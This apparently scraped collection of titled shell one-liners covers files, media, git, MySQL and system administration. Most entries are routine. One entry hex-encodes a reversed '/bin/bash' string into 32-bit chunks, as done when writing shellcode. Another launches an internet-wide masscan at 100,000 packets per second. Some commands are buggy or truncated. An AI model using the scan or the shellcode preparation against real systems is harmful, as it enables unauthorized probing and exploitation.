perl -i -pe "s/old/new/g" *
find files in $PATH that were not installed through dpkg
echo -e "${PATH//://\n}" >/tmp/allpath; grep -Fh -f /tmp/allpath /var/lib/dpkg/info/*.list|grep -vxh -f /tmp/allpath >/tmp/installedinpath ; find ${PATH//:/ } |grep -Fxv -f /tmp/installedinpath
floating point shell calculator
calc() { awk 'BEGIN { OFMT="%f"; print '"$*"'; exit}'; }
irssi log histogram
awk '/^--- Day changed (.*)/ {st=""; for (i=0;i<ar[date];i++) {st=st"*"} print date" "st; date=$7"-"$5"-"$6} /> emergency/ {ar[date]++} END {st=""; for (i=0;i<ar[date];i++) {st=st"*"}; print date" "st}' #engineyard.log
A command's package details
function summpkg { dpkg -s $(dpkg -S $1 | egrep -w $(which $1)$ | awk -F: '{print $1}') ; }
Unmount all mounted SAMBA/Windows shares
mount|grep -e '//'|cut -d ' ' -f3| xargs -I {} umount {}
Incorporating a finished feature on develop
git checkout develop; git merge --no-ff myfeature
find . \( -name \*.cgi -o -name \*.txt -o -name \*.htm -o -name \*.html -o -name \*.shtml \) -print | xargs grep -s pattern
find . \( -name \*.cgi -o -name \*.txt -o -name \*.htm -o -name \*.html -o -name \*.shtml \) -print | xargs grep -s pattern
One liner to show a notification on Desktop in case the load exceeds 1.
load=`uptime|awk -F',' '{print $3}'|awk '{print $3}'`; if [[ $(echo "if ($load > 1.0) 1 else 0" | bc) -eq 1 ]]; then notify-send "Load $load";fi
Check if a file is text
grep -qIm1 . $file
Find ur local network cidr Notation
ip addr show |grep -w inet | grep -v 127.0.0.1 | awk '{ print $2}'| cut -d "/" -f 2
Add a user to a group
gpasswd -a USER GROUP
Open (in vim) all modified files in a git repository
git status --porcelain | sed -ne 's/^ M //p' | tr '\n' '\0' | tr -d '"' | xargs -0 vim
A random password generator
tr -dc '\x15-\x7e' < /dev/urandom| head -c 16 | paste
List all gpg-pubkeys for yum
rpm -qa gpg-pubkey --qf "%{version}-%{release} %{summary}\n"
Audio processing from low quality to studio quality without distortions realtime
ffmpeg -loglevel 0 -y -i audio.mp3 -f sox - | sox -p -V -S -b32 -t alsa hw:CA0106 gain -3 rate -va 1411200 rate -v 96k
Uses ffmpeg to convert all that annoying .FLAC files to MP3 files keeping all the Artist's information in them.
find . -name "*.flac" -exec ffmpeg -i {} -ab 160k -map_metadata 0 -id3v2_version 3 {}.mp3 \;
See how many times you've typed 'ls' by itself
grep -cx ls ~/.bash_history
rescan SCSI bus
sudo apt-get install scsitools && sudo rescan-scsi-bus
Find all hidden files in a directory
sudo find . -name '.*' \( -type d -exec find {} \; -prune -o -print \)
find all executable files across the entire tree
find -executable -type f
grep selectively
find /path -name \*.php -user nobody -exec grep -nH whatever {} \;
List all users
cut -d: -f1 /etc/passwd | sort
List installed rpm named and arquitecture.
rpm -qa --queryformat "%{NAME} %{ARCH}\n"
Play music from pure data
sudo cat /usr/share/icons/*/*/* > /dev/dsp
List files and sizes
find / -type f -exec wc -c {} \; | sort -nr | head -100
Open your application to a specific size and location
command -geometry 120x30+1280+0
upload a file via ftp
curl -u user:passwd -T /home/dir/local_file_to_upload ftp://your_host.com/subdir/
Create a log file of Nvidia graphics card temperatures using nvidia-smi
logfile=/var/log/gputemp.log; timestamp=$( date +%T );temps=$(nvidia-smi -lsa | grep Temperature | awk -F: ' { print $2 } '| cut -c2-4 | tr "\n" " ");echo "${timestamp} ${temps}" >> ${logfile}
Convert pkcs12 Certificate to ASCII for use in PHP
openssl pkcs12 -info -nodes -in /path/to/encryptedp12 > /path/to/asciip12
Recursively change permissions on files, leave directories alone.
find ./ -type f -exec chmod 644 {} +
find pictures and renames them appending the containing folder name
find <folder> -type f -name '*.jpg' -exec bash -c 'ext="${0##*.}";path="$(dirname "$0")";name="$(basename "$0"|sed "s/.jpg//")";folder="$(dirname "$0"|tr / \\n |tail -1)";new="${path}/${name}_${folder}.${ext}"; mv "$0" "${new}"' {} \;
A file's rpm-package details
summpkg() { rpm -qfi "$@"; }
Launch an interactive shell with special aliases and functions.
bash --rcfile /a/special/bashrc
Find duplicate UID in /etc/passwd
awk -F: '{print $3}' /etc/passwd | sort |uniq -d
Regex to wrap lines to 75 characters.
s/(?=.{75,})(?:(.{0,75})(?:\r\n?|\n\r?)|(.{0,75}))[ ]/\1\2\n /g
Search for java explicit incrementation
egrep "([_a-zA-Z][_a-zA-Z0-9]*) *= *\1 *[*/+-] *[0-9]+ *;"
Incorporating a finished feature on develop : Deleted branch myfeature
git branch -d myfeature
Remove / delete file with ? or special characters in filename
ls -il; find * \( -type d -prune \) -o -inum <NUM> -exec rm -i {} \;
show help text only in Vim
:h `subject` | only
ls -altr | grep ^d
ls -altr | grep ^d
Set audio card 0 master volumn to maximum
amixer -c 0 set Master 100%
SCP file from remote location to local directory
scp user@hostname:/remotedir/file.name /localdir
Remove a specific gpg-pubkey from rpm/yum
rpm -e --allmatches gpg-pubkey-1aa043b8-53b2e946
Removing leading + sign from numbers
awk '{print $0+0}' <(echo -2; echo +3;)
Find a expression inside any readable archive from the folder I'm and their subfolders
find . -exec grep -H "<expression>" {} \;
split a multi fasta file into separate files
csplit -z --prefix=PUT_PREFIX_HERE FILE_TO_SPLIT '/>/' '{*}'
Download files linked in a RSS feed
wget -q -O- http://www.yourfeed.com/rss | grep -o "<link[ -~][^>]*" | grep -o "http://www.myfeed.com[ -~][^\"]*" | sed "s: :%20:g" | xargs wget -c
Get OSX Battery percentage
pmset -g batt | awk '/-InternalBattery-/ {sub(/;/, "", $2); print $2}'
Reverse string, encode into hex and divide in chunk of 32 bits.
python -c "s = '////bin/bash'; print [s[::-1].encode('hex')[i:i+8] for i in range(0, len(s[::-1].encode('hex')), 8)]"
List only empty directories and delete safely (=ask for each)
find . -type d -empty -exec rm -i -R {} \;
Run 10 curl commands in parallel via xargs
NUM="10";seq ${NUM}|time xargs -I % -n1 -P${NUM} curl -sL ifconfig.co
Switch on eeepc camera
sudo echo 1 > /proc/acpi/asus/camera
Find out if MySQL is up and listening on Linux
netstat -tap | grep mysql
Sorting by rows
infile=$1 for i in $(cat $infile) do echo $i | tr "," "\n" | sort -n | tr "\n" "," | sed "s/,$//" echo done
Command to display how much resource is taken by cpu and which core is taking
pidstat -C "ffmpeg" -u
Match a URL
echo "(Something like http://foo.com/blah_blah)" | grep -oP "\b(([\w-]+://?|www[.])[^\s()<>]+(?:\([\w\d]+\)|([^[:punct:]\s]|/)))"
let the cow suggest some commit messages for you
while true; do curl -s http://whatthecommit.com | perl -p0e '($_)=m{<p>(.+?)</p>}s' | cowsay; sleep 2; done
Sets performance CPU governer of all cores of a 4-core CPU.
for i in {0..3}; do cpufreq-set -c $i -g performance; done
Find the package a command belongs to on rpm-based distros
whichpkg() { rpm -qf "$@"; }
Startup Nessus and initialize plugins on backtrack5
sudo /opt/nessus/sbin/nessusd
Regex snippet to do multi-character [^x]*
Opening_tag((?:(?!Unwanted_tag).)*)Closing_tag
Sort by size all hardlinked files in the current directory (and subdirectories)
for a in $(find . -xdev -type f -printf '%i\n'|sort|uniq -d);do find . -xdev -inum $a -printf '%s %i %m %n %U %G %AD %Ar %p\n';done|sort -n|awk '{if(x!=$2){print "---"};x=$2;print $0}'
Previous / next command in history
<ctrl+p> for previous command; <ctrl+n> for next command
Delete Empty Files
find . -size 0c -print -exec rm -f {} \;
Add new software to Gnome search menu thing
gnome-desktop-item-edit /usr/share/applications/ --create-new
Perform a reverse DNS lookup
getent hosts <host>
Add video to file
mencoder output.avi -o out+sound.avi -ovc copy -oac copy -audiofile myaudiofile.mp3
Locate a string in any file
find ./ -type f -exec grep -H <string> {} \;
list lines changed per all authors of a git repository
for i in $(git log --format='%ae' | sort -u); do echo $i; git log --author="$i" --pretty=tformat: --numstat | awk '{ add += $1; subs += $2; loc += $1 - $2 } END { printf "added lines: %s, removed lines: %s, total lines: %s\n", add, subs, loc }' - done
Serve current directory tree on localhost port 8000 and then directly open in Firefox (Python 3 version)
python3 -m http.server & firefox http://$HOSTNAME:8000/
Find all alive host in the network
fping -Aaqgr 1 192.168.100.0/24
while series of video and subtitles have unmatched file names, rename subtitles the same as video files.
for jj in `seq -f "%02.0f" 1 12`; do rr=`ls *S04E$jj*.smi`; tt=`ls *S04E$jj*.avi`; mv "$rr" "${tt%.*}.smi"; done
Convert a batch of images to a Video
mencoder "mf://frame_*.bmp" -mf w=720:h=480:fps=30:type=bmp -ovc lavc -lavcopts vcodec=mpeg4 -o number_video.mp4
Spelling Suggestion
curl -s "http://search.yahooapis.com/WebSearchService/V1/spellingSuggestion?appid=YahooDemo&query=mozmbque"|sed -n -e 's/.*<Result>\(.*\)<\/Result>.*/\1/p'
'micro' ps aux (by mem/cpu)
ps -o user,%cpu,%mem,command
Extract a .gz file with privilege
sudo sh -c 'gunzip -c source.gz > destination'
Play local mp3 file on remote machine's speakers
cat myfile.mp3 | ssh user@remotemachine "mplayer -cache 8912 -"
Counting the source code's line numbers C/C++ Java
find /usr/include/ -name '*.[c|h]pp' -o -name '*.[ch]' -print0 | xargs -0 wc -l | tail -1
Global search and replace in vi
:g/SEARCH/s//REPLACEMENT/g
Copy the most recent wav file from /media/ to the current folder
cp $(find /media/ -type f -name "*.wav" -printf "%T@ %h/%f\n" | sort | tail -1 | awk '{ print $2 }') .
Matching Strings
grep -l <string-to-match> * | xargs grep -c <string-not-to-match> | grep '\:0'
Open a file using vim in read only (like less)
view /file/name
Create a database with user and pass without hassle.
function createdb () { mysqladmin -u root -p create $1 && mysql -u root -p -e "GRANT ALL ON $1.* TO '$2'@'localhost' IDENTIFIED BY '$3';" ; }
TCP server on one socket
while true; do cat "file"; done | nc -v -l 1337
histogram of file size
du -sm *| sort -nr | awk '{ size=4+5*int($1/5); a[size]++ }; END { print "size(from->to) number graph"; for(i in a){ printf("%d %d ",i,a[i]) ; hist=a[i]; while(hist>0){printf("#") ; hist=hist-5} ; printf("\n")}}'
Find 20 most frequently-used shell commands from (bash history)
tr "\|\;" "\n" < ~/.bash_history | sed -e "s/^ //g" | cut -d " " -f 1 | sort | uniq -c | sort -rn | head -20
Print bitrate of each audio file
find . -print0 | xargs -0 -I{} ffmpeg -i "{}" 2>&1 | grep "kb\/s\|Input"
Disable Show More Options on Windows 11
reg add "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}\InprocServer32" /f /ve
list all file-types (case-insensitive extensions) including subdirectories
find /path/to/dir -type f |sed 's/^.*\///'|grep -o '\.[^.]*$'|sort -f|uniq -i
Display an updating clock in sh variants
while true; do date; sleep 1; done
Search through files, ignoring .svn
ack -ai 'searchterm'
remove script from infected html files
grep -ZlRr -e BAD_SCRIPT_LINE * |xargs -0 sed -i 's/BAD_SCRIPT_LINE//g'
Search and install true type fonts under user home directory
find ~ -name "*.ttf" -exec cp {} /usr/share/fonts/truetype \; & fc-cache -f
search google from command line
function google() { xdg-open "http://www.google.com/#sclient=psy&q=$1"; }
Check if your webserver supports gzip compression with curl
if curl -s -I -H "Accept-Encoding: gzip,deflate" http://example.com/ | grep 'Content-Encoding: gzip' >/dev/null 2>&1 ; then echo Yes; else echo No;fi
Display diffed files sidebyside, with minimal differences, using the full width of the terminal.
diff -dbByw $COLUMNS FILE1 FILE2
Partition a new disk as all one partition tagged as LINUX_NATIVE
echo "0,,L" | sfdisk /dev/sdX
Synchronize directory copy
rsync -avz ~/src ~/des/
Check Zone File
named-checkzone {zonename} {filename}
csv file of ping every minutes
while true; do (date | tr "\n" ";") && ping -q -c 1 www.google.com|tail -1|cut -d/ -f5 ;sleep 1; done >> uptime.csv
tar xz maximal compression
XZ_OPT=-9 tar cJf tarfile.tar.xz directory
list the top 15 folders by decreasing size in MB
du -mx [directory] | grep -P '^\d{4}' | sort -rn
Kill process you don't know the PID of, when pidof and pgrep are not available.
killall -9 unique
xrandr dual screen desktop
xrandr --output DVI-I-2 --mode 1920x1080 --output HDMI-0 --off --output DVI-I-1 --mode 1280x1024 --pos 1920x0
Sum columns on one line in a csv file.
awk -F , '{for(i=1;i<=NF;i++)t[NR]+=$i;$0=t[NR]}1' sample.csv
easily trace all Nginx processes
sudo strace -e trace=network -p `pidof nginx | sed -e 's/ /,/g'`
Find the last command that begins with "ech", but don't run it:-
!ech:p
Find every directory with too many files and subdirectory.
find / -xdev -printf '%h\n' | sort | uniq -c | sort -k 1 -n
dmesg pipe less with color
dmesg -L=always | less -r
Flush DNS cache on OS X 10.5 Leopard
dscacheutil -flushcache
Watch number of lines being processed on a clear screen
cat /dev/urandom|awk 'BEGIN{"tput cuu1" | getline CursorUp; "tput clear" | getline Clear; printf Clear}{num+=1;printf CursorUp; print num}'
get the IP connected to the server (usefull to detect IP that should be blocked)
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
Get parent directory path
dirname `pwd`
Converts Character Set of Files in a Folder
find . -iregex ".+\.\(c\|cpp\|h\)" | xargs -I{} perl -e "system(\"iconv -f SHIFT_JIS -t UTF-8 {} > temp; mv temp {} \");" ;
Back up only databases matching PATTERN
mysqldump -eBv `echo "show databases like 'MYSQL_PATTERN'"|mysql -N`> OUTPUTFILE
Using Grep & Xargs to clean folders
ls | grep -Ze ".*rar" | xargs -d '\n' -I {} mv {} backup-folder
Total sum of directories
du -sh
Backup /etc directory
sudo tar -zcvf $(hostname)-etc-back-`date +%d`-`date +%m`-`date +%y`.tar.gz /etc && sudo chown $USER:$USER $(hostname)-etc-back*
External IP (raw data)
curl ifconfig.me
remove directory and sub directory
rm -rf directoryname
Sum columns on one line in a csv file.
tr , + < input.csv | bc
Ten most often used commands
history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head
Count number of javascript files in subdirectories
for f in `find . -type d`; do pushd . > /dev/null ; echo -e `cd $f ; find . -name \*\.js | wc -l` "\t" $f | grep -v ^0 ; popd >/dev/null; done | sort -n -k 1 -r | less
Convert rich text on the clipboard to Markdown in OS X
osascript -e'get the clipboard as"RTF "'|sed 's/«data RTF //;s/»//'|xxd -r -p|textutil -convert html -stdin -stdout|pandoc -f html -t markdown_strict --no-wrap --atx-headers
Check whether laptop is running on battery or cable
eval "$(printf "echo %s \$((%i * 100 / %i))\n" $(cat $(find /sys -name energy_now 2>/dev/null | head -1 | xargs dirname)/{status,energy_{now,full}}))%"
View emerge log by date in humand friendly time
awk -F: '{print strftime("%Y-%m-%d -> %X --> ", $1),$2}' /var/log/emerge.log
Generate padded numbers 001 002 … 100
echo 00{1..9} 0{10..99} 100
convert string to array
s="124890";for i in $(seq 0 1 $((${#s}-1))); do arr[$i]=${s:$i:1}; done
telling you from where your commit come from
function where(){ COUNT=0; while [ `where_arg $1~$COUNT | wc -w` == 0 ]; do let COUNT=COUNT+1; done; echo "$1 is ahead of "; where_arg $1~$COUNT; echo "by $COUNT commits";};function where_arg(){ git log $@ --decorate -1 | head -n1 | cut -d ' ' -f3- ;}
Check for orphaned python files
find /usr/lib/python* -regextype posix-extended ! \( -type f -regex '.*.(pyc|pyo)' -prune -o -print \) | qfile -o -f -
speak a chat log file while it's running
tail -f LOGFILE | perl -ne '`say "$_"`;'
backup your file with tar and exclude the file or directory which you don't want
tar zcvf /path/to/your-`date +%Y-%m-%d`.tar.bz2 ./your/directory --exclude ./you/dont/want/to/include
Extract URLs from all anchors inside an HTML document with sed and grep
cat index.html | grep -o '<a .*href=.*>' | sed -e 's/<a /\n<a /g' | sed -e 's/<a .*href=['"'"'"]//' -e 's/["'"'"'].*$//' -e '/^$/ d'
Display CPU usage in percentage
NUMCPUS=`grep ^proc /proc/cpuinfo | wc -l`; FIRST=`cat /proc/stat | awk '/^cpu / {print $5}'`; sleep 1; SECOND=`cat /proc/stat | awk '/^cpu / {print $5}'`; USED=`echo 2 k 100 $SECOND $FIRST - $NUMCPUS / - p | dc`; echo ${USED}% CPU Usage
Sum of directories
du -sh *
Count total processes for specific program and user
ps -u user_name_here | grep process_name_here | wc -l
Send murmurd log lines to syslog
nohup tail /var/log/murmur.log | perl -ne '/^<.>[0-9:. -]{24}(\d+ => )?(.*)/; $pid=`pgrep -u murmur murmurd | head`; chomp $pid; `logger -p info -t "murmurd[$pid]" \\"$2\\"`;' &
Halt all running vagrants (virtualboxes)
vboxmanage list runningvms | cut -d \" -f 2 | xargs -I % vboxmanage controlvm % poweroff
Get the /dev/disk/by-id fragment for a physical drive
/dev/disk/by-id/ata!(*part*)
Download all files from a Gist without Git
curl -L https://gist.github.com/westonruter/ea038141e46e017d280b/download | tar -xvz --strip-components=1
Check home disk usage
df -h /home | grep -v Filesystem | awk '{print $5}' | sed -n '/%/p' for disk usage
Get all interfaces name
ip addr | sed '/^[0-9]/!d;s/: <.*$//;s/^[0-9]: //'
remove accents from file name
for f in *; do tmp_f=`echo $f | tr "\351" "e"`; if [ "$tmp_f" != "$f" ]; then mv $f $tmp_f; echo "$f is renamed to $tmp_f"; fi done
Install a Python virtual env without
pip install --user virtualenv; python -m virtualenv env
tcpdump -nqt -s 0 -A -i eth0 port 5060
tcpdump -nqt -s 0 -A -i eth0 port 5060
Display the top ten running processes sorted by the memory usage:
ps aux | awk '{if ($5 != 0 ) print $2,$5,$6,$11}' | sort -k2rn | head -10 | column -t
List cloudfront distributions based on domain
aws cloudfront list-distributions | jq -r '.DistributionList | .Items | .[] | .Id + " " + .Aliases.Items[]'
Set the date on one remove server to the date of another remote server
env TERM="$(ssh SRC_SRV "date"):TERM" ssh -t DST_SRV 'TS=${TERM%:*}; TERM=${TERM##*:}; export TS; date ; sudo date -s "$TS"; date'
Cross regions Amazon EC2 AMI copy
aws ec2 describe-regions --output text | cut -f 3 | xargs -I {} aws ec2 copy-image --source-region eu-west-1 --region {} --source-image-id ami-xxxxx --name "MyAmi"
List SAN domains for a certificate
echo | openssl s_client -connect google.com:443 2>&1 | openssl x509 -noout -text | awk -F, -v OFS="\n" '/DNS:/{x=gsub(/ *DNS:/, ""); $1=$1; print $0}'
look for a header reference in a shared library
strings libc-2.2.5.so | grep stat.h
check rpm pkg content w/o installation
rpm -qlp <package.rpm>
Hide files and folders on GNOME Desktop.
gconftool-2 --set /apps/nautilus/preferences/show_desktop --type bool 0
join every five lines
seq 20 | awk 'ORS=NR%5?FS:RS'
Style a block of code in a blog that accepts HTML.
overflow:auto;padding:5px;border-style:double;font-weight:bold;color:#00ff00;background-color:0;"><pre style="white-space:pre-wrap;white-space:-moz-pre-wrap !important;white-space:-pre-wrap;white-space:-o-pre-wrap;word-wrap:break-word;_white-space:pre;
convert javascript DICT to JSON
js -e 'JSON.stringify({hello:"world"})'
Convert ISO8601 dates to milliseconds since epoch
sed "s|\(2[0-9]\{3\}-[01][0-9]-[0-3][0-9]T[01][0-9]:[0-5][0-9]:[0-5][0-9].[0-9]\{3\}Z\)|$(date -d \1 +%s)000|g"
Flush DNS
sudo /etc/init.d/dns-clean
Git log (commits titles) of today
git log --after="yesterday" --pretty=format:%s |uniq
Find and replace text within all files within a directory
find . | xargs perl -p -i.bak -e 's/oldString/newString/;'
resize all the images returned by ls command and append "new_" to the resized images
for file in `ls *.png`;do convert $file -resize 65% new_$file; done
What addresses are your applications talking to?
watch "lsof -i -P |grep ESTABLISHED |awk '{printf \"%15.15s \\t%s\\n\", \$1, \$9}'"
ssh copy
cat ~/.ssh/id_rsa.pub | ssh deployer@xxxxx -p 52201 'cat >> ~/.ssh/authorized_keys'
display text file within an editor on whatever workspace is in front of you
env DISPLAY=:0 /usr/bin/gedit ~/df.txt && wmctl -a gedit
Change all xxx.png files' name to xxx@2x.png for iOS
ls -1 | sed 's/\(.*\)\.\(.*\)/\"&\" \"\1@2x\.\2\"/' | xargs -n2 mv
Send your svn diff to meld
echo 'diff-cmd = meld' >> ~/.subversion/config
ruby emulation of "xxd -r" (reverse hexdump)
ruby -ne 'print [$_.split(/ /)[1..8].take_while{|x| not x.empty?}.join].pack("H*")'
Put file to trashbin (KDE)
kioclient move <file> trash:/
Grep live log tailing
tail -f some_log_file.log | grep the_thing_i_want
Make M-n, M-m, and M-, insert the zeroth, first, and second argument of the previous command in Bash
printf %s\\n '"\en": "\e0\e."' '"\em": "\e1\e."' '"\e,": "\e2\e."'>>~/.inputrc
Clears Firefox` cache without clicking around
rm_cache() { rm -f $HOME/.mozilla/firefox/<profile>/Cache/* }; alias rmcache='rm_cache'
modify (mozldap) with proxy authentication and no other controls
ldapmodify -Y "dn:uid=rob,dc=example.com" -g -R -J 2.16.840.1.113730.3.4.16 ...
Extract names and email addresses from LDIF files
grep -E '^(cn|mail):' file.ldif | sed -e 's/^[a-z]*: //'
clear stale favicons in firefox
sqlite3 .mozilla/firefox/private/places.sqlite "update moz_places set favicon_id=null where favicon_id = (select p.favicon_id from moz_bookmarks b join moz_places p on b.fk = p.id where b.title = 'Broken');"
group every five lines
awk '{x+=$2; y+=$3} NR%5==0{print x/5,y/5; x=y=0}' file.txt
mysql: Convert MyISAM tables to InnoDB via mysqldump
mysqldump | sed -e 's/^) ENGINE=MyISAM/) ENGINE=InnoDB/'
Sum size of files returned from FIND
(echo 0; find [args...] -printf '%s +\n'; echo p) | dc
Validate an email address
perl -e "print 'yes' if `exim -bt $s_email_here | grep -c malformed`;"
get svn log by the user
svn log -l1000 SVN_URL | sed -n '/USERNAME/,/-----$/ p'
Batch rename and number files
find . -name '*.jpg' | awk 'BEGIN{ a=0 }{ printf "mv %s name%01d.jpg\n", $0, a++ }' | bash
list all world-writeable Linux files
print -rl /**/*(.f:o+w:)
Use awk's FIELDWIDTHS function to manipulate a string.
echo "rootgot" | awk 'BEGIN{FIELDWIDTHS="4 3"}{print $2$1}'
Get own public IP address
$ wget --no-check-certificate -q checkip.dyndns.org -O index.html && cat index.html|cut -d ' ' -f 6 | cut -d '<' -f 1
Print out all unique directories of path that had a file edited within.
git log -n 1 --name-only --pretty=oneline | awk -F/ 'NR>=2 {seen[$1]}; END {for (d in seen); print d}'
creating command 'tc' which copies last given command to clipboard
alias "tc=fc -n -l -1 -1|pbcopy"
Move Mouse, click there, sleep, and again....
while true; do xdotool mousemove 1390 500; xdotool click 1; sleep 1; xdotool mousemove 780 800; xdotool click 1; sleep 1; xdotool mousemove 1000 800; xdotool click 1; sleep 1;done
Bitperfect resample sound rendering
ffmpeg -loglevel 0 -y -i audio.mp3 -f sox - | sox -p -V -S -b24 -t audio.flac gain -3 rate -va 14112000 rate -v 96000
Make M-j insert (duplicate) the last word of the Readline line buffer in Bash
bind '"\ej": "!#:$\e^"'
Add timestamp of photos created by the “predictive capture” feature of Sony's Xperia camera app at the beginning of the filename
(setopt CSH_NULL_GLOB; cd /path/to/Camera\ Uploads; for i in DSCPDC_000*; do mv -v $i "$(echo $i | perl -lpe 's/(DSCPDC_[0-9]{4}_BURST)([0-9]{4})([0-9]{2})([0-9]{2})/$2-$3-$4 $1$2$3$4/')"; done)
Launch hidden commands.
/bin/bash -c "exec ls"
List shared libraries recognized by the system
ldconfig -p | grep <somenewlib.so>
convert string to array
s=124890; array=($(echo $s | sed 's/./& /g')); echo ${array[@]}; echo ${!array[@]}
Get IPv4 of eth0 for use with scripts
ifconfig eth0 | grep -o "inet [^ ]*" | cut -d: -f2
Convert movie to psp format
ffmpeg -i "inputFile.avi" -f psp -r 29.97 -b 512k -ar 24000 -ab 64k -s 368x208 M4V00002.MP4
Get all links of a website
lynx -dump http://www.domain.com | awk '/http/{print $2}' | egrep "^https{0,1}"
MySQL: Slice out a specific database (assumes existence of the USE statement) from mysqldump output
sed -n "/^USE \`employees\`/,/^USE \`/p"
make a samba shared folder writable, when doing an svn commit on OSX
chflags -R nouchg ./
Listing all your bundles Entities files to issue a doctrine:generate:entities
find ./src -type d -name "Entity" | xargs ls -A | cut -d . -f1 | sed 's_^_app/console doctrine:generate:entities YourOwnBundleName:_'
cygwin startx
startx -- -fullscreen -noresize -unixkill
Capture desktop at resolution 1600x900 and camera video files also captures mic audio to file
avconv -y -f x11grab -r 12 -s 1600x900 -i :0.0 -f video4linux2 -i /dev/video0 -f alsa -i pulse -map 0:0 -vcodec rawvideo -pix_fmt yuv420p desktop.y4m -map 1:0 -vcodec rawvideo -pix_fmt yuv420p camera.y4m -map 2:0 audio.mp3
Twitter the geek way
sudo pip install rainbowstream && rainbowstream -iot
Rspec: run specs that were created/changed on my branch only
git diff --name-only origin/master.. | grep _spec.rb | xargs rspec
Deletes cpu time consuming plugin-containe triggered by firefox
kill -9 `top -b -n 1 | grep plugin-containe | awk '{print $1}'`
Convert all flac files in dir to mp3 320kbps using ffmpeg
for FILE in *.flac; do ffmpeg -i "$FILE" -b:a 320k "${FILE[@]/%flac/mp3}"; done;
rsync from remote to local with non standard ssh port
rsync -avz -e "ssh -p $portNumber" user@remote.host:/path/to/copy /local/path
Sort IPv4 address in order
sort -V ~/ip.txt
Add keybindings for cycling through completions (or for inserting the last or first completion) in Bash
bind '"\er":menu-complete-backward';bind '"\es":menu-complete'
Say the current time (Mac OS X)
date "+The time is %H:%M" | say
Summarize size of all files of given type in all subdirectories (in bytes)
SUM=0; for FILESIZE in `find /tmp -type f -iname \*pdf -exec du -b {} \; 2>/dev/null | cut -f1` ; do (( SUM += $FILESIZE )) ; done ; echo "sum=$SUM"
Fewer keystrokes to search man page of command
function mg(){ man ${1} | egrep ${2} | more; }
sudo for launching gui apps in background
sudo -b xterm
Play Star Wars Episode IV in your terminal ;)
telnet towel.blinkenlights.nl
hard link file for Windows
fsutil hardlink creat new_file exits_file
bash function for convenient 'find' in subversion working directories
svn_find () { local a=$1; shift; find $a -not \( -name .svn -prune \) $*; }
Find a list of all installed packages on a Redhat/CentOS system
rpm -qa | sort | sed -n -e "s/\-[0-9].[0-9]*.*//p" | uniq
Dump TCP traffic to a host into a text and pcap file
ngrep host 192.168.1.6 -O $(date +%Y%m%d_%H%M%S).pcap > $(date +%Y%m%d_%H%M%S).txt
Get the current date in a yymmdd-hhmmss format (useful for file names)
date '+%y%m%d-%H%M%S'
compute the qps according to the latest n lines of logs
tail -n 1000 access.log | grep "200 POST" | awk '{print substr($3,0,9)}' | awk '{data[$0]++}END{for(item in data){print item, data[item]}}'
Calculate different hash sums of one file at the same time
dd if=file | tee >(sha1sum) >(md5sum) >(sha256sum) >/dev/null
Repair MySQL db
mysqlcheck -r -u Admin -p --all-databases
BIGGEST Files in a Directory
find . -printf '%s %p\n'|sort -nr| head -1
Remove duplicate files from the current directory
sha1sum * | sort | rev | uniq -df1 | rev | cut -d" " -f3 | xargs rm
Display playing parameters of soundcards
grep -r "" /proc/asound/card*/pcm*/sub*/hw_params
List just the executable files (or directories) in current directory
ls -l|awk ''/-x./' && !'/drw/' {print}'
rsync from remote to local
rsync -chavzP --stats user@remote.host:/path/to/copy /path/to/local/storage
SSL get expiration date from remote site
openssl s_client -showcerts -servername www.google.com -connect www.google.com:443 </dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' | openssl x509 -noout -subject -dates
Make M-r run the contents of the Readline line buffer and replace it with the result in Bash
bind -x '"\er":READLINE_LINE=$(eval "$READLINE_LINE");READLINE_POINT=${#READLINE_LINE}'
Link all the files in this directory to that directory
cd /this/directory; for f in *; do ln -s `pwd`/$f /that/directory; done
@mail.com by adding the line in list.txt
while read line; do echo -e "$line@mail.com"; done < list.txt
Generate a random number in a range
START=20; END=50 echo $(($START+(`od -An -N2 -i /dev/random`)%($END-$START+1)))
Remove unused libs/packages
aptitude remove $(deborphan)
command line to optimize all table from a mysql database
mysqlcheck -op -u<user> <db>
Find artist and title of a music cd, UPC code given (first result only)
curl http://www.discogs.com/search?q=724349691704 2> /dev/null | grep \/release\/ | head -2 | tail -1 | sed -e 's/^<div>.*>\(.*\)<\/a><\/div>/\1/'
MySQL: Slice out a specific table from a specific database (assumes existence of the USE statement) from output of mysqldump
mysqldump | sed -n "/^USE \`employees\`/,/^USE \`/p" | sed -n "/^-- Table structure for table \`departments\`/,/^-- Table structure for table/p"
Delete all active Brightbox cloud servers
for server in `brightbox-servers list |grep active|awk '{ print $1}'`;do brightbox-servers destroy $server;done
Time a process run with simple one line tabbed output
/usr/bin/time -f "%E real\t%U user\t%S sys" pipeline
Only change the first occurrence of the pattern
sed -i "0,/enabled/{s|enabled=0|enabled=1|}" /etc/yum.repos.d/remi.repo
Get some useful output from tcpdump
tcpdump -nvvX -s 768 src x.x.x.x and dst port 80
Download current stable kernel version from kernel.org
wget --no-check-certificate https://www.kernel.org/$(wget -qO- --no-check-certificate https://www.kernel.org | grep tar | head -n1 | cut -d\" -f2)
This is a specialized command for Ericsson CS5.2 - Getting the test case trace on SDP
tail -1f /var/opt/fds/logs/TraceEventLogFile.txt.0 | grep <msisdn> | tee <test-case-id>.trace | tr '|' '\n'
python
python -mtrace --trace aa.py
lftp backup from server to dev for a drupal site
lftp -u user,pass -e "set ftp:ssl-allow false; mirror --exclude settings.php --exclude .htaccess serverdir devdir" serverhost
underscore to camelCase
echo "this_is_a_large_example_With_Upper_case_too" | sed -re 's/(_([a-zA-Z]))+([a-zA-Z]+)+/\U\2\L\3/g;s/(^[a-z])/\U\1/')
NETSTAT ESTABLISHED
netstat | find "ESTABLISHED"
Find where a kind of file is stored
locate *.desktop
List the size (in human readable form) of all sub folders from the current location
du -sh *
Portscan entire internet (ipv4)
(masscan 0.0.0.0/0 -p80 --banner --exclude 255.255.255.255 --max-rate 100000|tee internet_ips_to_block_ranges.txt 2>&1 /dev/null); 1&> /dev/null
Restart nautilus
nautilus -q
use the short username by default for network authentication
defaults write /Library/Preferences/com.apple.NetworkAuthorization UseShortName -bool YES
Stop Mac OSX from creating .DS_Store files when interacting with a remote file server with the Finder
defaults write com.apple.desktopservices DSDontWriteNetworkStores true
Dump MySql to File
mysqldump --opt -uUSERNAME -pPASSWORD -h mysql.host.com database > ~/filename.sql
